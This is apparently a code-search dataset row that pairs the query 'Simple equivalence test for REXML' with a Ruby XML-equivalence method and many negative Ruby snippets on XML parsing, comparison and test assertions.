query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Simple equivalence test for REXML
def equivalent_rexml(other) begin require 'active_support' require 'active_support/core_ext' rescue LoadError # string equivalence end if Hash.respond_to?(:from_xml) Hash.from_xml("<root>#{self}</root>") == Hash.from_xml("<root>#{other}</root>") else # Poor mans equivalent value == other.value end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def xml_should_eql(actual, expected)\n same = xml_cmp(actual, expected)\n actual.should.== expected unless same \nend", "def xml_compare a, b\n a = REXML::Document.new(a.to_s)\n b = REXML::Document.new(b.to_s)\n\n normalized = Class.new(REXML::Formatters::Pretty) do\n def write_text(node, output)\n super(node.to_s.strip, output)\n end\n end\n\n normalized.new(indentation=0,ie_hack=false).write(node=a, a_normalized='')\n normalized.new(indentation=0,ie_hack=false).write(node=b, b_normalized='')\n\n a_normalized == b_normalized\n end", "def test2\n parser = ZML::StreamToREXML.new\n REXML::Document.parse_stream(DOC1, parser)\n res = parser.result\n assert(res.instance_of?(REXML::Document), \"Result should be REXML::Document\")\n\n # Now we have to check it's the same. We don't have a convenient method\n # to walk down two trees checking they are equal. Unfortunately, just\n # getting REXML to write it back out and comparing with the source\n # doesn't work properly; it inserts newlines at places of its own\n # chosing, e.g. after <!ELEMENT ...> and after <!DOCTYPE ... [\n # So, we reparse the source XML and get REXML to write that out too!\n\n rtext = \"\"\n res.write(rtext)\n should = \"\"\n REXML::Document.new(DOC1).write(should)\n assert_equal(should, rtext)\n end", "def xml_should_be_same(expected, actual)\n expected = Hpricot(expected)\n actual = Hpricot(actual)\n \n blame = \"\\n\\n#################### expected\\n#{expected.to_html}\\n\\n\" \"#################### actual:\\n#{actual.to_html}\\n\\n\" \n (xml_cmp(expected, actual)).should.blaming(blame).equal true\nend", "def ==(x)\n return false unless x.is_a? XML\n return false unless name == x.name and attrs == x.attrs\n # Now the hard part, strings can be split in different ways\n # empty string children are possible etc.\n self_i = 0\n othr_i = 0\n while self_i != contents.size or othr_i != x.contents.size\n # Ignore \"\"s\n if contents[self_i].is_a? String and contents[self_i] == \"\"\n self_i += 1\n next\n end\n if x.contents[othr_i].is_a? String and x.contents[othr_i] == \"\"\n othr_i += 1\n next\n end\n\n # If one is finished and the other contains non-empty elements,\n # they are not equal\n return false if self_i == contents.size or othr_i == x.contents.size\n\n # Are they both Strings ?\n # Strings can be divided in different ways, and calling normalize!\n # here would be rather expensive, so let's use this complicated\n # algorithm\n if contents[self_i].is_a? String and x.contents[othr_i].is_a? String\n a = contents[self_i]\n b = x.contents[othr_i]\n self_i += 1\n othr_i += 1\n while a != \"\" or b != \"\"\n if a == b\n a = \"\"\n b = \"\"\n elsif a.size > b.size and a[0, b.size] == b\n a = a[b.size..-1]\n if x.contents[othr_i].is_a? String\n b = x.contents[othr_i]\n othr_i += 1\n next\n end\n elsif b.size > a.size and b[0, a.size] == a\n b = b[a.size..-1]\n if contents[self_i].is_a? String\n a = contents[self_i]\n self_i += 1\n next\n end\n else\n return false\n end\n end\n next\n end\n\n # OK, so at least one of them is not a String.\n # Hopefully they're either both XMLs or one is an XML and the\n # other is a String. It is also possible that contents contains\n # something illegal, but we aren't catching that,\n # so xml(:foo, Garbage.new) is going to at least equal itself.\n # And we aren't, because xml(:foo, Garbage.new) == xml(:bar, Garbage.new)\n # is going to return an honest false, and incoherent sanity\n # check is worse than no sanity check.\n #\n # Oh yeah, they can be XML_PI or XML_Comment. In such case, this\n # is ok.\n return false unless contents[self_i] == x.contents[othr_i]\n self_i += 1\n othr_i += 1\n end\n return true\n end", "def rexml? ; false end", "def test1\n rtext = \"\"\n parser = ZML::StreamToXML.new(rtext)\n REXML::Document.parse_stream(DOC1, parser)\n\n # The results should be byte-by-byte equal. (Actually, there might\n # be differences like attr='val' versus attr=\"val\", or ordering of\n # the attributes, but we choose our test case carefully!)\n assert_equal(DOC1, rtext)\n end", "def tdiff_equal(node)\n if (self.class == node.class)\n case node\n when Nokogiri::XML::Attr\n (self.name == node.name && self.value == node.value)\n when Nokogiri::XML::Element, Nokogiri::XML::DTD\n self.name == node.name\n when Nokogiri::XML::Text, Nokogiri::XML::Comment\n self.text == node.text\n when Nokogiri::XML::ProcessingInstruction\n (self.name == node.name && self.content = self.content)\n else\n false\n end\n else\n false\n end\n end", "def equivalent_nokogiri(other)\n if defined?(::EquivalentXml)\n EquivalentXml.equivalent?(object, other.object)\n else\n equivalent_rexml(other)\n end\n end", "def eql?(other)\n if other.is_a?(Literal::XML)\n case @library\n when :nokogiri then equivalent_nokogiri(other)\n when :rexml then equivalent_rexml(other)\n end\n elsif other.is_a?(Literal) && (other.plain? || other.datatype == RDF::XSD.string)\n value == other.value\n else\n super\n end\n end", "def assert_equivalent_xml(expected, actual)\n expected_xml = Nokogiri::XML(\"<test-xml>\\n#{expected}\\n</test-xml>\")\n actual_xml = Nokogiri::XML(\"<test-xml>\\n#{actual}\\n</test-xml>\")\n ignored_attributes = %w(style data-disable-with)\n\n equivalent = EquivalentXml.equivalent?(expected_xml, actual_xml, {\n ignore_attr_values: ignored_attributes\n }) do |a, b, result|\n if result === false && b.is_a?(Nokogiri::XML::Element)\n if b.attr('name') == 'utf8'\n # Handle wrapped utf8 hidden field for Rails 4.2+\n result = EquivalentXml.equivalent?(a.child, b)\n end\n if b.delete('data-disable-with')\n # Remove data-disable-with for Rails 5+\n # Workaround because ignoring in EquivalentXml doesn't work\n result = EquivalentXml.equivalent?(a, b)\n end\n if a.attr('type') == 'datetime' && b.attr('type') == 'datetime-local'\n a.delete('type')\n b.delete('type')\n # Handle new datetime type for Rails 5+\n result = EquivalentXml.equivalent?(a, b)\n end\n end\n result\n end\n\n assert equivalent, lambda {\n # using a lambda because diffing is expensive\n Diffy::Diff.new(\n sort_attributes(expected_xml.root),\n sort_attributes(actual_xml.root)\n ).to_s(:color)\n }\n end", "def assert_xml_equals(first_xml, second_xml)\n doc1 = XML::Document.string(first_xml)\n doc2 = XML::Document.string(second_xml)\n\n assert_block \"'#{first_xml}' is not the same as '#{second_xml}'\" do\n tree_equals?(doc1.root, doc2.root)\n end\n end", "def ==(other)\n if other.class == self.class\n xml.to_s == other.xml.to_s\n else\n super\n end\n end", "def assert_equal(expected, actual)\n if expected.is_a?(Nokogiri::XML::Node) && actual.is_a?(Nokogiri::XML::Node)\n assert(EquivalentXml.equivalent?(expected, actual,\n element_order: false, normalize_whitespace: true),\n \"XML nodes were not equal\")\n elsif expected.is_a?(String) && actual.is_a?(String)\n ex_bin = expected.dup.force_encoding('BINARY')\n act_bin = actual.dup.force_encoding('BINARY')\n\n assert(ex_bin == act_bin,\n \"strings were not equal\")\n else\n assert(expected == actual, \"expected `#{expected}`, got `#{actual}`\")\n end\n end", "def test_in_different_access\n doc = Document.new <<-EOL\n <?xml version='1.0' encoding='ISO-8859-1'?>\n <a a=\"\\xFF\">\\xFF</a>\n EOL\n expect = \"\\303\\277\"\n expect.force_encoding(::Encoding::UTF_8)\n assert_equal( expect, doc.elements['a'].attributes['a'] )\n assert_equal( expect, doc.elements['a'].text )\n end", "def test_get_xml_for\n order_1 = orders(:santa_next_christmas_order)\n\n # Order with a blank shipping type, just to cover a comparison in the method.\n order_2 = orders(:an_order_ordered_paid_shipped)\n order_2.order_shipping_type = nil\n \n # Test the XML.\n require 'rexml/document'\n \n xml = REXML::Document.new(Order.get_xml_for([order_1, order_2]))\n assert xml.root.name, \"orders\"\n\n # TODO: For some elements the name don't correspond with the content.\n # This can be tested a little more.\n end", "def test3\n parser = ZML::StreamToREXML.new(false)\n REXML::Document.parse_stream(DOC1, parser)\n res = parser.result\n assert(res.instance_of?(REXML::Element), \"Result should be REXML::Element\")\n\n rtext = \"\"\n res.write(rtext)\n\n # Restrict to the root element only\n # (REXML handles whitespace correctly within this, so we don't need\n # to mess around too much here)\n md = /\\A.*?(<([a-zA-Z0-9:_]+)[^>]*>.*<\\/\\2>).*\\z/m.match(DOC1)\n assert(md)\n assert_equal(md[1], rtext)\n end", "def assert_rexml(*args, &block)\n contents = (args.shift || @response.body).to_s\n# ERGO benchmark these things\n\n contents.gsub!('\\\\\\'', '&apos;')\n contents.gsub!('//<![CDATA[<![CDATA[', '')\n contents.gsub!('//<![CDATA[', '')\n contents.gsub!('//]]>', '')\n contents.gsub!('//]>', '')\n contents.gsub!('//]]', '')\n contents.gsub!('//]', '')\n\n begin\n @xdoc = REXML::Document.new(contents)\n rescue REXML::ParseException => e\n raise e unless e.message =~ /attempted adding second root element to document/\n @xdoc = REXML::Document.new(\"<xhtml>#{ contents }</xhtml>\")\n end\n\n _bequeath_attributes(@xdoc)\n assert_xpath(*args, &block) if args != []\n return (assert_xpath('/*') rescue nil) if @xdoc\n end", "def on_eq(ast_node, context)\n left = process(ast_node.children[0], context)\n right = process(ast_node.children[1], context)\n\n if left.is_a?(XML::NodeSet)\n left = first_node_text(left)\n end\n\n if right.is_a?(XML::NodeSet)\n right = first_node_text(right)\n end\n\n if left.is_a?(Numeric) and !right.is_a?(Numeric)\n right = to_float(right)\n end\n\n if left.is_a?(String) and !right.is_a?(String)\n right = to_string(right)\n end\n\n return left == right\n end", "def xml?\n return unless subtype\n\n subtype == 'xml'\n end", "def matches?(node); end", "def xml?\n type == DOCUMENT_NODE\n end", "def ==(x)\n return false unless x.kind_of?(Element)\n return true if x.object_id == object_id\n return false unless x.tagname_symbol == @tagname\n return false unless x.attrs.size == @attrs.size\n @attrs.each do |a|\n return false unless x[a.key] == a.value\n end\n return false unless x.body == @body\n true\n end", "def equality\r\n node = relational()\r\n\r\n loop do\r\n if consume(\"==\")\r\n node = new_binary(ND_EQ, node, relational())\r\n elsif consume(\"!=\")\r\n node = new_binary(ND_NE, node, relational())\r\n else\r\n return node\r\n end\r\n end\r\nend", "def assert_xml(xml)\n expect(xml).not_to be_empty\n expect do\n assert REXML::Document.new(xml)\n end.not_to raise_error\nend", "def assert_xml_reflexively_equals_to_mime_dir(xml, mimedir)\n assert_xml_equals_to_mime_dir(xml, mimedir)\n\n component = Tilia::VObject::Reader.read(mimedir)\n assert_equal(Hash.from_xml(xml), Hash.from_xml(Tilia::VObject::Writer.write_xml(component)))\n end", "def ==(other_element)\n if other_element.type == type && other_element.content == content\n return true\n end\n return false\n end", "def EqualityExpr(path, parsed); end", "def node_match?(other_node, self_node)\n keys_with_expected_diffs = ['facts_timestamp', 'catalog_timestamp']\n same_num_elements?(other_node, self_node) && same_contents?(other_node, self_node, keys_with_expected_diffs)\n end", "def apply(left, right)\n RDF::Literal(left.to_s == right.to_s)\n end", "def test_twin_attrs\n\texpect_error('<tag attr=\"foo\" attr=\"bar\">',\n\t\t /attribute name '(.*)' appears more than once/)\n\texpect_error('<?xml version=\"1.0\" version=\"2.0\"?>',\n\t\t /attribute name '(.*)' appears more than once/)\n end", "def assert_xml_not_equal(expected_doc, actual_doc, message = nil)\r\n expected_doc = parse_xml(expected_doc)\r\n actual_doc = parse_xml(actual_doc)\r\n _wrap_assertion do\r\n full_message = build_message(message, <<EOT, actual_doc.inspect, expected_doc.inspect)\r\n\r\n<?> expected not to be equal to\r\n<?> but was equal.\r\nEOT\r\n assert_block(full_message){ ! are_equal?(expected_doc, actual_doc)}\r\n end\r\n end", "def documents_equal?(a, b)\n normalize_document(a) == normalize_document(b)\n end", "def test_access\n\tdoc = NQXML::TreeParser.new(@rsrc.xml).document\n\n\troot = doc.rootNode\n\tassert_nil(root.parent)\n\tassert_equal('outer', root.entity.name)\n \tassert_equal(8, root.children.length)\n\tassert_instance_of(NQXML::Text, root.firstChild().entity)\n\tassert_instance_of(NQXML::Text, root.lastChild().entity)\n\n\tnode = root.firstChild().nextSibling()\n\tassert_equal(node.parent, root)\n\tassert_equal('<simpleTag>', node.entity.source)\n\tassert_equal(1, node.children.length)\n\tassert_equal('text', node.firstChild().entity.text)\n end", "def ==(other)\n if other.is_a? XPathNodeSet or\n other.is_a? XPathBoolean or other.is_a? XPathNumber then\n other == self\n else\n to_str == other.to_str\n end\n end", "def compare_to_rsrc_xml(io, sourceFooToBletch)\n\twrittenLines = io.read()\n\n\t# What we expect is slightly different than the original XML\n\t# because entities have been replaced and the output tags and\n\t# attribute values have been normalized.\n\tnormalizedXml = @rsrc.xml.dup()\n\tnormalizedXml.gsub!(/&foo;/, 'bletch')\n\tnormalizedXml.gsub!('/>', '></inner:tag>')\n\tnormalizedXml.gsub!(\"tabs\\tto\\tspaces\", \"tabs to spaces\")\n\n\t# The writer's output won't have the same whitespace.\n\tnormalizedXml.gsub!(/^\\s+\\<(!ENTITY|!ELEMENT|!ATTLIST|!NOTATION|\\?|!--)/,\n\t\t\t '<\\1')\n\t# Get rid of one newline that the writer doesn't output.\n\tnormalizedXml.gsub!(/(<!DOCTYPE(.+?))[\\n]]>/m, '\\1]>')\n\n\tassert_equal(normalizedXml, writtenLines)\n end", "def sameNodes?(node1, node2, truthArray=[])\n\tif node1.nil? || node2.nil?\n\t\treturn false\n\tend\n\tif node1.name != node2.name\n\t\treturn false\n\tend\n if node1.text != node2.text\n return false\n end\n\tnode1Attrs = node1.attributes\n\tnode2Attrs = node2.attributes\n\tnode1Kids = node1.children\n\tnode2Kids = node2.children\n\tnode1Kids.zip(node2Kids).each do |pair|\n\t\ttruthArray << sameNodes?(pair[0],pair[1])\n\tend\n\t# if every value in the array is true, then the nodes are equal\n\treturn truthArray.all?\nend", "def scanned_node?(node); end", "def visit_Arel_Nodes_Equality(o, collector)\n left = o.left\n return super unless %i(text binary).include?(cached_column_for(left)&.type)\n\n # https://docs.oracle.com/cd/B19306_01/appdev.102/b14258/d_lob.htm#i1016668\n # returns 0 when the comparison succeeds\n comparator = Arel::Nodes::NamedFunction.new(\"DBMS_LOB.COMPARE\", [left, o.right])\n collector = visit comparator, collector\n collector << \" = 0\"\n collector\n end", "def isxml?(xml)\n xml.lstrip.start_with?('<')\n end", "def is_xml_valid?(xml_text)\n return true #FIXME\n end", "def xml?; end", "def xml?; end", "def valid_xml?(xml)\n create_document(xml) != nil\nend", "def element_match(tree, exp, bindings); end", "def test_encoded_in_different_out\n doc = Document.new( @encoded )\n REXML::Formatters::Default.new.write( doc.root, Output.new( out=\"\", \"UTF-8\" ) )\n out.force_encoding(::Encoding::ASCII_8BIT)\n assert_equal( @not_encoded.b, out )\n end", "def equal_to_xml(xml)\n @type = :equalToXml\n @value = xml\n @request_builder\n end", "def == other_node\n eql? other_node\n end", "def rexmlify(data)\n\t\tdoc = data.kind_of?(REXML::Document) ? data : REXML::Document.new(data)\n\tend", "def compare_xml_method current, expect\n @compareTable.compare_table(current, expect)\n end", "def assert_valid_xml(res)\n assert_content_type res, \"application/xml\" \n end", "def test_encoded_in_change_out\n doc = Document.new( @encoded )\n doc.xml_decl.encoding = \"UTF-8\"\n assert_equal(\"UTF-8\", doc.encoding)\n REXML::Formatters::Default.new.write( doc.root, out=\"\" )\n out.force_encoding(::Encoding::ASCII_8BIT)\n assert_equal( @not_encoded.b, out )\n char = XPath.first( doc, \"/a/b/text()\" ).to_s\n char.force_encoding(::Encoding::ASCII_8BIT)\n assert_equal( \"ฤ‰\".b, char )\n end", "def equality\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 54 )\n return_value = EqualityReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal244 = nil\n string_literal245 = nil\n string_literal246 = nil\n string_literal247 = nil\n relation243 = nil\n relation248 = nil\n\n tree_for_string_literal244 = nil\n tree_for_string_literal245 = nil\n tree_for_string_literal246 = nil\n tree_for_string_literal247 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 601:5: relation ( ( '==' | '!=' | '===' | '!==' ) relation )*\n @state.following.push( TOKENS_FOLLOWING_relation_IN_equality_3968 )\n relation243 = relation\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, relation243.tree )\n end\n # at line 602:5: ( ( '==' | '!=' | '===' | '!==' ) relation )*\n while true # decision 58\n alt_58 = 2\n look_58_0 = @input.peek( 1 )\n\n if ( look_58_0 == NEQ || look_58_0 == NEQQ || look_58_0 == EQ || look_58_0 == EQQ )\n alt_58 = 1\n\n end\n case alt_58\n when 1\n # at line 603:7: ( '==' | '!=' | '===' | '!==' ) relation\n # at line 603:7: ( '==' | '!=' | '===' | '!==' )\n alt_57 = 4\n case look_57 = @input.peek( 1 )\n when EQ then alt_57 = 1\n when NEQ then alt_57 = 2\n when EQQ then alt_57 = 3\n when NEQQ then alt_57 = 4\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 57, 0 )\n end\n case alt_57\n when 1\n # at line 603:9: '=='\n string_literal244 = match( EQ, TOKENS_FOLLOWING_EQ_IN_equality_3986 )\n if @state.backtracking == 0\n\n tree_for_string_literal244 = @adaptor.create_with_payload( string_literal244 )\n root_0 = @adaptor.become_root( tree_for_string_literal244, root_0 )\n\n end\n\n when 2\n # at line 603:17: '!='\n string_literal245 = match( NEQ, TOKENS_FOLLOWING_NEQ_IN_equality_3991 )\n if @state.backtracking == 0\n\n tree_for_string_literal245 = @adaptor.create_with_payload( string_literal245 )\n root_0 = @adaptor.become_root( tree_for_string_literal245, root_0 )\n\n end\n\n when 3\n # at line 603:25: '==='\n string_literal246 = match( EQQ, TOKENS_FOLLOWING_EQQ_IN_equality_3996 )\n if @state.backtracking == 0\n\n tree_for_string_literal246 = @adaptor.create_with_payload( string_literal246 )\n root_0 = @adaptor.become_root( tree_for_string_literal246, root_0 )\n\n end\n\n when 4\n # at line 603:34: '!=='\n string_literal247 = match( NEQQ, TOKENS_FOLLOWING_NEQQ_IN_equality_4001 )\n if @state.backtracking == 0\n\n tree_for_string_literal247 = @adaptor.create_with_payload( string_literal247 )\n root_0 = @adaptor.become_root( tree_for_string_literal247, root_0 )\n\n end\n\n end\n @state.following.push( TOKENS_FOLLOWING_relation_IN_equality_4013 )\n relation248 = relation\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, relation248.tree )\n end\n\n else\n break # out of loop for decision 58\n end\n end # loop for decision 58\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 54 )\n\n end\n \n return return_value\n end", "def test_sax_doctype\n parse_compare(%{<?xml version=\"1.0\"?>\n<!DOCTYPE top PUBLIC \"top.dtd\">\n<top/>\n},\n [[:instruct, 'xml'],\n [:attr, :version, \"1.0\"],\n [:end_instruct, 'xml'],\n [:doctype, ' top PUBLIC \"top.dtd\"'],\n [:start_element, :top],\n [:end_element, :top]])\n end", "def xml_tag\n :comparison\n end", "def test_in_different_out\n doc = Document.new( @not_encoded )\n doc.write( Output.new( out=\"\", \"ISO-8859-3\" ) )\n out.force_encoding(::Encoding::ASCII_8BIT)\n assert_equal( \"<?xml version='1.0'?>#{@encoded_root}\".b, out )\n end", "def test2b\n seq2b = deepcopy(SEQ2)\n res2b = deepcopy(RES2)\n seq2b[1][2] << ['xml:space','default']\n res2b['attributes'] << ['137','xml:space','default']\n check(seq2b, res2b, [1,3,7], {}, false)\n check(seq2b, res2b, [1,3,7], {}, true)\n end", "def test_eql_returns_true_if_the_specified_object_is_a_post_with_the_same_value\n attributes = {'title' => 'Item 1 title', 'link' => 'http://example.com/blog_posts/1', 'description' => 'Item 1 description'}\n\n post = FacebookWall::Post.new create_feed_entry(attributes)\n another_post = FacebookWall::Post.new create_feed_entry(attributes)\n\n assert post.eql?(another_post)\n\n almost_a_feed_entry = \"<item>\\n <title>Item 1 title</title>\\n <link>http://example.com/blog_posts/1</link>\\n <description>Item 1 description</description>\\n</item>\"\n post = FacebookWall::Post.new create_feed_entry(attributes)\n \n assert_equal almost_a_feed_entry, post.feed_entry.to_s\n assert ! post.eql?(almost_a_feed_entry)\n \n not_a_post = 123\n post = FacebookWall::Post.new create_feed_entry(attributes)\n \n assert ! post.eql?(not_a_post)\n end", "def xmldoc?\n sort == ::XMLDOC\n end", "def success?\n [\n original_source,\n original_node,\n generated_source,\n generated_node\n ].all?(&:right?) && generated_node.from_right.==(original_node.from_right)\n end", "def acceptable_return?(return_val, element_name); end", "def test_Rational_InstanceMethods_Compare2\n\t\tassert_equal(true, Rational(\"2\") == Rational(\"2\"))\n\t\tassert_equal(false, Rational(\"1\") == Rational(\"2\"))\n\tend", "def identical?(node1, node2)\n if node1.nil? || node2.nil?\n return false\n elsif node1.value != node2.value\n return false\n elsif node1.left_child.nil? && node2.left_child.nil? && node1.right_child.nil? && node2.right_child.nil?\n return true\n else\n left_identical = identical?(node1.left_child, node2.left_child)\n right_identical = identical?(node1.right_child, node2.right_child)\n return left_identical && right_identical\n end\nend", "def test_isSupported07\n doc = nil\n rootNode = nil\n state = nil\n doc = load_document(\"staff\", false)\n rootNode = doc.documentElement()\n state = rootNode.isSupported(\"XML\", \"\")\n assertTrue(\"throw_True\", state)\n \n end", "def compare_websocket_data_with_xml(values_from_xml, units_from_xml, values_from_ws, units_from_ws)\n val_mismatch_count = 0\n if values_from_xml.size == values_from_ws.size || units_from_xml.size == units_from_ws.size\n for i in 0..values_from_xml.size - 1\n if unit_validity(units_from_xml[i]) && unit_validity(units_from_ws[i]) && unit_compatibility(units_from_xml[i], units_from_ws[i])\n if source_val_match_with_output_val\n puts \"Object value from XML: \\\"#{values_from_xml[i]} #{units_from_xml[i]}\\\" is equivalent to converted value sent over websocket: \\\"#{values_from_ws[i]} #{units_from_ws[i]}\\\"\"#.green #-- cucumber html reports doesn't like/honor the colorise gem's colors\n else\n puts \"Object value in XML: \\\"#{values_from_xml[i]} #{units_from_xml[i]}\\\" is not equivalent to the value sent over websocket: \\\"#{values_from_ws[i]} #{units_from_ws[i]}\\\"\"#.red\n val_mismatch_count +=1\n end\n else\n puts \"Unit are either not valid or not comptible for conversion.\"\n raise TestCaseFailed, 'Invalid or non-compatible units'\n end\n end\n if val_mismatch_count > 0\n raise TestCaseFailed, 'Values of %{count}/%{total} objects did not match exactly with their corresponding values obtained from websocket stream.' % {count: val_mismatch_count, total: values_from_xml.size}\n end\n else\n puts \"Number of objects/units sent by sims does not match with number of objects/units obtained from websocket stream.\"\n raise TestCaseFailed, 'Object/unit count mismatch bewteen sims and websocket stream.'\n end\nend", "def smart_parse_compare(xml, expected, handler = AllSax, opts = {}, handler_attr = :calls)\n parse_compare(xml, expected, handler, opts.merge(smart: true, skip: :skip_white), handler_attr)\n end", "def test_entity_insertions\n assert_equal(\"&amp;\", REXML::Text.new(\"&amp;\", false, nil, true).to_s)\n #assert_equal(\"&\", REXML::Text.new(\"&amp;\", false, false).to_s)\n end", "def test_operation_from_xml()\n extracted = Nokogiri::XML(\n @batch_job_utils.extract_soap_operations(VALID_SERVICE_XML)\n )\n expected = Nokogiri::XML(EXPECTED_OPERATION)\n assert_equal(clean_xml(expected.to_s), clean_xml(extracted.to_s))\n end", "def assert_processing_instruction(absoluteXpathToParent, xmlns, expectedProcessingInstruction)\n if absoluteXpathToParent == \"//\"\n parents = [xml_body]\n else\n if xmlns == \"\" || xmlns == nil\n parents = xml_body.xpath(absoluteXpathToParent)\n else\n path = absoluteXpathToParent.sub(\"/\", \"\").sub(\"/\",\"\") #removing any / characters at the begining (up to two)\n parents = xml_body.xpath(\"//x:#{path}\", \"x\"=>xmlns)\n end\n end\n\n ##convert the expected processing instruction to an element so that its content can be \n target = pi2element(expectedProcessingInstruction)\n \n parents.each do |parent|\n #all processing instructions appear as immediate or inner child levels\n pi_array = parent.xpath(\"//processing-instruction('#{target.name}')\")\n pi_array.each do |pi|\n #we need to process only immediate children of the parent \n if pi.parent == parent\n #converting pi to an element\n pi = pi2element(pi)\n \n match_found = true\n target.attribute_nodes.each do |a|\n ##puts \"#{a.name} => #{target[a.name]} #{pi[a.name]}\" \n unless target[a.name] == pi[a.name]\n match_found = false\n break;\n end \n end #End: target.attribute_nodes.each do |a|\n \n if match_found\n return true\n end\n \n end #End: pi.parent == parent\n end #End: pi_array.each do |pi|\n end #End: parents.each do |parent|\n \n return false\n end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def eql?(p0) end", "def == other_node\n @properties == other_node.properties\n end", "def ==(left, right)\n raise \"Not applicable to sphinx.\"\n end", "def ===(rel)\n if self.edge == rel.edge\n if self.node[0] == rel.node[0] and self.node[1] == rel.node[1]\n return true\n elsif self.node[0] == rel.node[1] and self.node[1] == rel.node[0]\n return true\n else\n return false\n end\n else\n return false\n end\n end", "def text_node?(node)\n node.kind_of?(::REXML::Text)\n end", "def test_rubygems_to_standard_equality_comparison\n assert_operator(::Versionomy.parse('1.2.0', :rubygems), :==, ::Versionomy.parse('1.2'))\n assert_operator(::Versionomy.parse('1.2.b.3', :rubygems), :==, ::Versionomy.parse('1.2b3'))\n end", "def nodesEquivalent?(n1, n2)\n depth do\n r = if n1.is_a?(Array) && n2.is_a?(Array) && n1.length == n2.length\n equiv = true\n n1.each_with_index do |v1, i|\n equiv &&= nodesEquivalent?(v1, n2[i]) if equiv\n end\n equiv\n elsif value?(n1) && value?(n2)\n n1 == n2\n elsif list?(n1)\n list?(n2) &&\n n1.fetch('@index', true) == n2.fetch('@index', true) &&\n nodesEquivalent?(n1['@list'], n2['@list'])\n elsif (node?(n1) || node_reference?(n2))\n (node?(n2) || node_reference?(n2)) && n1['@id'] == n2['@id']\n else\n false\n end\n\n debug(\"nodesEquivalent?(#{n1.inspect}, #{n2.inspect}): #{r.inspect}\")\n r\n end\n end", "def test_equality\n uri_string = \"http://foobar.com/xyz/\"\n uri = N::URI.new(uri_string)\n uri_2 = N::URI.new(uri_string)\n uri_other = N::URI.new(\"http://otheruri.com/\")\n \n assert_equal(uri, uri_string)\n assert_equal(uri, uri)\n assert_equal(uri, uri_2)\n assert_not_equal(\"http://something.org\", uri)\n assert_not_equal(uri, uri_other)\n assert_not_equal(uri, Hash.new)\n end", "def xml_nodes_match_attrs(xml_nodes, attrs, mismatches = [])\n attrs.each_with_index.each { |attr_set, idx|\n xn = xml_nodes[idx]\n attr_set.each { |(attr_key, attr_val)|\n # Either call method, or hash key, or recurse on children\n # p.name vs. p[:name]\n if :children == attr_key\n # recurse over children\n xml_nodes_match_attrs(xn.children, attr_val, mismatches)\n else\n # compare attrs\n xn_val = xn.methods.include?(attr_key) ? xn.send(attr_key) : xn[attr_key]\n if xn_val != attr_val\n mismatches << { node: xn.name_and_class_path, attr: \"#{ attr_key }: expected #{ attr_val.inspect }, got #{ xn_val.inspect }\" }\n end\n end\n }\n }\n mismatches\n end", "def xml_element?(xml)\n xml.kind_of? Nokogiri::XML::Element\n end", "def node_and_parent_same_text?(node)\n node.parent.text.strip == node.text.strip\n end", "def test_predicates\n assert_equal \"12\", XPath::first(@@doc, \"a/e/f[3]\").attributes[\"id\"]\n assert_equal \"13\", XPath::first(@@doc, \"a/e/f[3]/g\").attributes[\"id\"]\n assert_equal \"14\", XPath::first(@@doc, \"a/e/f[@a='d'][2]\").attributes[\"id\"]\n assert_equal \"14\", XPath::first(@@doc, \"a/e/f[@a='d'][@id='14']\").attributes[\"id\"]\n assert_equal \"a\", XPath::first( @@doc, \"*[name()='a' and @id='1']\" ).name\n c=each_test( @@doc, \"//*[name()='f' and @a='d']\") { |i|\n assert_equal \"f\", i.name\n }\n assert_equal 2, c\n c=each_test( @@doc, \"//*[name()='m' or @a='d']\") { |i|\n assert [\"m\",\"f\"].include?(i.name)\n }\n assert_equal 3, c\n\n assert_equal \"b\", XPath::first( @@doc, \"//b[@x]\" ).name\n end", "def test_xpath_empty_result\n doc = LibXML::XML::Document.string('<html><body><p>Welcome to XHTML land!</p></body></html>')\n\t\tnodes = doc.find(\"//object/param[translate(@name, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') = 'wmode']\")\n\t\trefute_nil nodes\n\tend", "def test_equality_parsed\n value1_ = ::Versionomy.parse(\"1.8.7p72\")\n value2_ = ::Versionomy.parse(\"1.8.7.0-72.0\")\n assert_equal(value2_, value1_)\n assert_equal(value2_.hash, value1_.hash)\n end", "def visit_Arel_Nodes_Equality(o, collector)\n case (left = o.left)\n when Arel::Attributes::Attribute\n table = left.relation.table_name\n schema_cache = @connection.schema_cache\n\n return super unless schema_cache.data_source_exists?(table)\n\n column = schema_cache.columns_hash(table)[left.name.to_s]\n\n case column.type\n when :text, :binary\n # https://docs.oracle.com/cd/B19306_01/appdev.102/b14258/d_lob.htm#i1016668\n # returns 0 when the comparison succeeds\n comparator = Arel::Nodes::NamedFunction.new('DBMS_LOB.COMPARE', [left, o.right])\n collector = visit comparator, collector\n collector << ' = 0'\n collector\n else\n super\n end\n else\n super\n end\n end", "def amended?\n @doc.at_xpath('/a:akomaNtoso/a:act', a: NS)['contains'] != 'originalVersion'\n end", "def test_multiple_formats\n two_format_setup\n\n correct = <<~HEREDOC\n <picture>\n <source srcset=\"ss\" type=\"webp\">\n <source srcset=\"ss\" type=\"original\">\n <img src=\"good_url\">\n </picture>\n HEREDOC\n\n assert_equal correct, @tested.to_s\n end", "def eql?(other)\n return false if (other.nil? or self.class != other.class)\n return false unless super(other)\n 